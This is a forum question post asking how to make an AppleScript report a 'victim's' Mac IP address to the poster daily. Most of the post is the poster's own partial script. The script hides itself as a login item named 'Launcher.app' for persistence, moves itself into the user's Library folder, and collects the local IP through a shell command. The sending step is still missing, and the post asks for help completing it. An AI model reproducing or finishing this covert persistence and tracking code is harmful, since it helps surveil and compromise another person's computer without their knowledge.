How Do I Make a Mac Send Me Their IP Address Daily?

Mar 30, 2018 06:53 AM

I want to make an AppleScript that sends me the IP of the victim's computer when run. So far I have this but I don't know how to go about the sending IP part:

-------------------------------------------------------------------------------------------

--------------------------------Putting inside Loggin Items-----------------------------

set myPath to POSIX path of (path to me)

tell application "System Events"

make new login item at end of login items with properties {name:"Launcher.app", path:myPath, hidden:true}

end tell

---------------------------------------------------------------------------------------

------------------------------------Moving Script------------------------------------

set source to POSIX path of (path to me)

set destination to POSIX path of (path to home folder) & "Library/"

if source = destination & "Launcher.app/" then

return "OK"

else

do shell script "mv " & quoted form of source & space & quoted form of destination

end if

---------------------------------------------------

set myIP to (do shell script "ifconfig | grep \"inet \" | grep -Fv 127.0.0.1 | awk '{print $2}'") -- Sets their IP as a variable.

Related Articles

637263493835297420.jpg

How to Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)

636455706472146367.jpg

How to Hide DDE-Based Attacks in MS Word

Comments

No Comments Exist

Be the first, drop a comment!